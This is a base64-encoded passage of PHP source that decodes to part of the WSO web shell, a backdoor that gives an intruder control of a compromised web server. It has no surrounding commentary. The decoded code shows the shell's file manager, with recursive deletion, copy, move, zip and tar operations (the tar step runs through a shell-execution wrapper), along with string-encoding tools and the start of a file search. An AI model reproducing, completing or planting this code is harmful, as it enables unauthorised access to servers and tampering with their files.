ZW5kaXIoJHBhdGgpOwoJCQkJCXdoaWxlICggKCRpdGVtID0gcmVhZGRpcigkZGgpICkgIT09IGZhbHNlKSB7CgkJCQkJCSRpdGVtID0gJHBhdGguJGl0ZW07CgkJCQkJCWlmICggKGJhc2VuYW1lKCRpdGVtKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJGl0ZW0pID09ICIuIikgKQoJCQkJCQkJY29udGludWU7CgkJCQkJCSR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOwoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpCgkJCQkJCQlkZWxldGVEaXIoJGl0ZW0pOwoJCQkJCQllbHNlCgkJCQkJCQlAdW5saW5rKCRpdGVtKTsKCQkJCQl9CgkJCQkJY2xvc2VkaXIoJGRoKTsKCQkJCQlAcm1kaXIoJHBhdGgpOwoJCQkJfQoJCQkJaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkKCQkJCQlmb3JlYWNoKCRfUE9TVFsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKCQkJCQkJJGYgPSB1cmxkZWNvZGUoJGYpOwoJCQkJCQlpZihpc19kaXIoJGYpKQoJCQkJCQkJZGVsZXRlRGlyKCRmKTsKCQkJCQkJZWxzZQoJCQkJCQkJQHVubGluaygkZik7CgkJCQkJfQoJCQkJYnJlYWs7CgkJCWNhc2UgJ3Bhc3RlJzoKCQkJCWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnY29weScpIHsKCQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRjLCRzLCRkKXsKCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7CgkJCQkJCQlta2RpcigkZC4kcyk7CgkJCQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsKCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKCQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsKCQkJCQl9CgkJCQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQoJCQkJCQljb3B5X3Bhc3RlKCRfQ09PS0lFWydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ21vdmUnKSB7CgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CgkJCQkJCWlmKGlzX2RpcigkYy4kcykpewoJCQkJCQkJbWtkaXIoJGQuJHMpOwoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7CgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwoJCQkJCQl9IGVsc2VpZihAaXNfZmlsZSgkYy4kcykpCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOwoJCQkJCX0KCQkJCQlmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpCgkJCQkJCUByZW5hbWUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgewoJCQkJCWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfQ09PS0lFWydjJ10uJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd1bnppcCcpIHsKCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigkemlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgewogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSBhcnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsKICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwoJCQkJfQoJCQkJdW5zZXQoJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICBzZXRjb29raWUoJ2YnLCAnJywgdGltZSgpIC0gMzYwMCk7CgkJCQlicmVhazsKCQkJZGVmYXVsdDoKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJCQkJV1NPc2V0Y29va2llKCdhY3QnLCAkX1BPU1RbJ3AxJ10pOwoJCQkJCVdTT3NldGNvb2tpZSgnZicsIHNlcmlhbGl6ZShAJF9QT1NUWydmJ10pKTsKCQkJCQlXU09zZXRjb29raWUoJ2MnLCBAJF9QT1NUWydjJ10pOwoJCQkJfQoJCQkJYnJlYWs7CgkJfQoJfQogICAgd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOwoJJGRpckNvbnRlbnQgPSB3c29TY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOwoJaWYoJGRpckNvbnRlbnQgPT09IGZhbHNlKSB7CWVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7d3NvRm9vdGVyKCk7IHJldHVybjsgfQoJZ2xvYmFsICRzb3J0OwoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOwoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKCQlpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkKCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTsKCX0KZWNobyAiPHNjcmlwdD4KCWZ1bmN0aW9uIHNhKCkgewoJCWZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspCgkJCWlmKGQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSAnY2hlY2tib3gnKQoJCQkJZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxlcy5lbGVtZW50c1swXS5jaGVja2VkOwoJfQo8L3NjcmlwdD4KPHRhYmxlIHdpZHRoPScxMDAlJyBjbGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4KPGZvcm0gbmFtZT1maWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2JveCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFtZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEpLiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKCSRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsKCSRuID0gY291bnQoJGRpckNvbnRlbnQpOwoJZm9yKCRpPTA7JGk8JG47JGkrKykgewoJCSRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOwoJCSRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOwoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAoJCQkJCSAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwKCQkJCQkgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpLAoJCQkJCSAncGVybXMnID0+IHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwKCQkJCQkgJ3NpemUnID0+IEBmaWxlc2l6ZSgkR0xPQkFMU1snY3dkJ10uJGRpckNvbnRlbnRbJGldKSwKCQkJCQkgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksCgkJCQkJICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pCgkJCQkJKTsKCQlpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKCQllbHNlaWYoQGlzX2xpbmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7CgkJZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwoJfQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwoJZnVuY3Rpb24gd3NvQ21wKCRhLCAkYikgewoJCWlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQoJCQlyZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CgkJZWxzZQoJCQlyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwoJfQoJdXNvcnQoJGZpbGVzLCAid3NvQ21wIik7Cgl1c29ydCgkZGlycywgIndzb0NtcCIpOwoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CgkkbCA9IDA7Cglmb3JlYWNoKCRmaWxlcyBhcyAkZikgewoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiAnIC4gKGVtcHR5ICgkZlsnbGluayddKSA/ICcnIDogInRpdGxlPSd7JGZbJ2xpbmsnXX0nIikgLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT93c29WaWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10KCQkJLic8L3RkPjx0ZD48YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcsIFwnZWRpdFwnKSI+RTwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8L3RkPjwvdHI+JzsKCQkkbCA9ICRsPzA6MTsKCX0KCWVjaG8gIjx0cj48dGQgY29sc3Bhbj03PgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+Cgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4iJz4KCTxzZWxlY3QgbmFtZT0ncDEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj4iOwogICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+IjsKICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Rhcic+Q29tcHJlc3MgKHRhci5neik8L29wdGlvbj4iOwogICAgaWYoIWVtcHR5KCRfQ09PS0lFWydhY3QnXSkgJiYgQGNvdW50KCRfQ09PS0lFWydmJ10pKQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZSAvIENvbXByZXNzPC9vcHRpb24+IjsKICAgIGVjaG8gIjwvc2VsZWN0PiZuYnNwOyI7CiAgICBpZighZW1wdHkoJF9DT09LSUVbJ2FjdCddKSAmJiBAY291bnQoJF9DT09LSUVbJ2YnXSkgJiYgKCgkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHx8ICgkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpKSkKICAgICAgICBlY2hvICJmaWxlIG5hbWU6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1wMiB2YWx1ZT0nd3NvXyIgLiBkYXRlKCJZbWRfSGlzIikgLiAiLiIgLiAoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnPyd6aXAnOid0YXIuZ3onKSAuICInPiZuYnNwOyI7CiAgICBlY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L2Rpdj4iOwoJd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgewoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2FzY2lpMmhleCcpKSB7ZnVuY3Rpb24gYXNjaWkyaGV4KCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSBzcHJpbnRmKCclMDJYJyxvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319CglpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoCgkJJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywKCQknQmFzZTY0IGRlY29kZScgPT4gJ2Jhc2U2NF9kZWNvZGUnLAoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKCQknVXJsIGRlY29kZScgPT4gJ3VybGRlY29kZScsCgkJJ0Z1bGwgdXJsZW5jb2RlJyA9PiAnZnVsbF91cmxlbmNvZGUnLAoJCSdtZDUgaGFzaCcgPT4gJ21kNScsCgkJJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLAoJCSdjcnlwdCcgPT4gJ2NyeXB0JywKCQknQ1JDMzInID0+ICdjcmMzMicsCgkJJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsCgkJJ0hFWCB0byBBU0NJSScgPT4gJ2hleDJhc2NpaScsCgkJJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLAoJCSdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsCgkJJ0RFQyB0byBIRVgnID0+ICdkZWNoZXgnLAoJCSdERUMgdG8gQklOJyA9PiAnZGVjYmluJywKCQknQklOIHRvIEhFWCcgPT4gJ2JpbmhleCcsCgkJJ0JJTiB0byBERUMnID0+ICdiaW5kZWMnLAoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLAoJCSdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLAoJCSdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCgkJJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLAoJKTsKCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOwoJCW9iX3N0YXJ0KCk7CgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKQoJCQllY2hvICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOwoJCSR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhpdDsKCX0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCgkJV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgMCk7Cgl3c29IZWFkZXIoKTsKCWVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7Cglmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikKCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7CgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOwoJfQoJZWNobyI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCBmaWxlczo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCQk8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMudGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+CgkJCTx0cj48dGQgd2lkdGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPlBhdGg6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KCQkJPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CgkJCTx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+CgkJCTwvdGFibGU+PC9mb3JtPiI7CgoJZnVuY3Rpb24gd3NvUmVjdXJzaXZlR2x